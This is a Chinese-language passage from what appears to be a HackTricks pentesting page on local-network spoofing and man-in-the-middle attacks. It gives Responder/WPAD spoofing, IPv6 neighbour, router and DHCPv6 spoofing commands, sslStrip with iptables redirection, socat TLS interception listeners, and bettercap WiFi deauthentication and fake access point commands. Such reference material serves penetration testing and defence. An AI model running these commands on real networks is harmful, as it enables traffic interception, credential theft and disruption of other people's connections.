对于当 DNS 查询失败时的本地主机解析,Microsoft 系统依赖于 Link-Local Multicast Name Resolution (LLMNR) 和 NetBIOS Name Service (NBT-NS)。类似地,Apple Bonjour 和 Linux zero-configuration 实现利用 Multicast DNS (mDNS) 在网络内发现系统。由于这些协议的无认证特性及其通过 UDP 广播消息的操作,它们可以被攻击者利用,旨在将用户重定向到恶意服务。
您可以使用 Responder 冒充被主机搜索的服务,发送虚假响应。
在这里阅读更多关于 如何使用 Responder 冒充服务 的信息。
Spoofing WPAD
浏览器通常使用 Web Proxy Auto-Discovery (WPAD) 协议自动获取代理设置。这涉及从服务器获取配置细节,具体通过一个 URL,例如 "http://wpad.example.org/wpad.dat"。客户端可以通过各种机制发现此服务器:
- 通过 DHCP,其中发现通过使用特殊代码 252 条目来促进。
- 通过 DNS,这涉及在本地域中搜索标记为 wpad 的主机名。
- 通过 Microsoft LLMNR 和 NBT-NS,这些是 DNS 查询未成功时使用的后备机制。
工具 Responder 利用此协议,充当 恶意 WPAD 服务器。它使用 DHCP、DNS、LLMNR 和 NBT-NS 误导客户端连接到它。要深入了解如何使用 Responder 冒充服务 请查看这个。
Spoofing SSDP and UPnP devices
您可以在网络中提供不同的服务,以尝试 欺骗用户 输入一些 明文凭据。关于此攻击的更多信息在 Spoofing SSDP and UPnP Devices。
IPv6 Neighbor Spoofing
此攻击与 ARP Spoofing 非常相似,但在 IPv6 世界中。您可以让受害者认为 GW 的 IPv6 拥有攻击者的 MAC。
sudo parasite6 -l eth0 # This option will respond to every requests spoofing the address that was requested
sudo fake_advertise6 -r -w 2 eth0 <Router_IPv6> #This option will send the Neighbor Advertisement packet every 2 seconds
IPv6 路由器广告欺骗/洪水攻击
一些操作系统默认通过网络中发送的 RA 数据包配置网关。要将攻击者声明为 IPv6 路由器,可以使用:
sysctl -w net.ipv6.conf.all.forwarding=1 4
ip route add default via <ROUTER_IPv6> dev wlan0
fake_router6 wlan0 fe80::01/16
IPv6 DHCP欺骗
默认情况下,一些操作系统尝试通过读取网络中的DHCPv6数据包来配置DNS。然后,攻击者可以发送一个DHCPv6数据包,将自己配置为DNS。DHCP还为受害者提供了一个IPv6地址。
dhcp6.spoof on
dhcp6.spoof.domains <list of domains>
mitm6
HTTP (假页面和JS代码注入)
互联网攻击
sslStrip
基本上,这种攻击的作用是,当用户尝试访问一个HTTP页面,该页面重定向到HTTPS版本时,sslStrip将保持与客户端的HTTP连接和与服务器的HTTPS连接,这样它就能够以明文方式嗅探连接。
apt-get install sslstrip
sslstrip -w /tmp/sslstrip.log --all - l 10000 -f -k
#iptables --flush
#iptables --flush -t nat
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
iptables -A INPUT -p tcp --destination-port 10000 -j ACCEPT
更多信息 这里。
sslStrip+ 和 dns2proxy 绕过 HSTS
sslStrip+ 和 dns2proxy 与 sslStrip 的区别在于它们会重定向例如 www.facebook.com 到 wwww.facebook.com(注意多了一个“w”),并将该域名的地址设置为攻击者 IP。这样,客户端将连接到 wwww.facebook.com (攻击者),但在后台sslstrip+将通过 https 维持与 www.facebook.com 的真实连接。
此技术的目标是避免 HSTS,因为 wwww.facebook.com 不会被保存在浏览器的缓存中,因此浏览器会被欺骗以在 HTTP 中执行facebook 认证。
请注意,为了执行此攻击,受害者必须最初尝试访问 http://www.faceook.com,而不是 https。这可以通过修改 http 页面中的链接来实现。
sslStrip 或 sslStrip+ 不再有效。这是因为浏览器中预先保存了 HSTS 规则,因此即使用户第一次访问“重要”域名,他也会通过 HTTPS 访问。此外,请注意,预先保存的规则和其他生成的规则可以使用标志 includeSubdomains
**,因此之前的 wwww.facebook.com 示例将不再有效,因为 facebook.com 使用 HSTS 和 includeSubdomains
。
TODO: easy-creds, evilgrade, metasploit, factory
TCP 监听端口
sudo nc -l -p 80
socat TCP4-LISTEN:80,fork,reuseaddr -
TCP + SSL 在端口监听
生成密钥和自签名证书
FILENAME=server
# Generate a public/private key pair:
openssl genrsa -out $FILENAME.key 1024
# Generate a self signed certificate:
openssl req -new -key $FILENAME.key -x509 -sha256 -days 3653 -out $FILENAME.crt
# Generate the PEM file by just appending the key and certificate files:
cat $FILENAME.key $FILENAME.crt >$FILENAME.pem
使用证书监听
sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0 -
使用证书监听并重定向到主机
sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0 openssl-connect:[SERVER]:[PORT],verify=0
有时,如果客户端检查CA是有效的,您可以提供由CA签名的其他主机名的证书。
另一个有趣的测试是提供请求的主机名但自签名的证书。
其他测试内容是尝试用一个有效的证书签署该证书,但该证书不是有效的CA。或者使用有效的公钥,强制使用一种算法,如Diffie-Hellman(不需要用真实私钥解密的算法),当客户端请求真实私钥的探测(如哈希)时,发送一个假探测,并期望客户端不检查这个。
Bettercap
# Events
events.stream off #Stop showing events
events.show #Show all events
events.show 5 #Show latests 5 events
events.clear
# Ticker (loop of commands)
set ticker.period 5; set ticker.commands "wifi.deauth DE:AD:BE:EF:DE:AD"; ticker on
# Caplets
caplets.show
caplets.update
# Wifi
wifi.recon on
wifi.deauth BSSID
wifi.show
# Fake wifi
set wifi.ap.ssid Banana
set wifi.ap.bssid DE:AD:BE:EF:DE:AD
set wifi.ap.channel 5
set wifi.ap.encryption false #If true, WPA2
wifi.recon on; wifi.ap
Active Discovery Notes
请注意,当UDP数据包发送到没有请求端口的设备时,会发送一个ICMP(端口不可达)消息。
ARP discover
ARP数据包用于发现网络中正在使用的IP。PC必须为每个可能的IP地址发送请求,只有正在使用的IP才会响应。
mDNS (multicast DNS)
Bettercap每隔X毫秒发送一个MDNS请求,询问**_services_.dns-sd._udp.local**,看到此数据包的机器通常会回答该请求。然后,它只搜索回答“services”的机器。
Tools
- Avahi-browser (--all)
- Bettercap (net.probe.mdns)
- Responder
NBNS (NetBios Name Server)
Bettercap向端口137/UDP广播数据包,询问名称“CKAAAAAAAAAAAAAAAAAAAAAAAAAAA”。
SSDP (Simple Service Discovery Protocol)
Bettercap广播SSDP数据包,搜索各种服务(UDP端口1900)。
WSD (Web Service Discovery)
Bettercap广播WSD数据包,搜索服务(UDP端口3702)。
References
- https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9
- Network Security Assessment: Know Your Network (3rd edition)
- Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things. By Fotios Chantzis, Ioannis Stais, Paulino Calderon, Evangelos Deirmentzoglou, Beau Wood
- https://medium.com/@cursedpkt/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9
Bug bounty tip: 注册 Intigriti,一个由黑客为黑客创建的高级bug bounty平台!今天就加入我们,访问https://go.intigriti.com/hacktricks,开始赚取高达**$100,000**的赏金!
{% embed url="https://go.intigriti.com/hacktricks" %}
{% hint style="success" %}
学习和实践AWS黑客攻击:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践GCP黑客攻击:HackTricks Training GCP Red Team Expert (GRTE)
支持HackTricks
- 查看订阅计划!
- 加入 💬 Discord群组或telegram群组,或在Twitter上关注我们 🐦 @hacktricks_live.
- 通过向 HackTricks和HackTricks Cloud github库提交PR分享黑客技巧。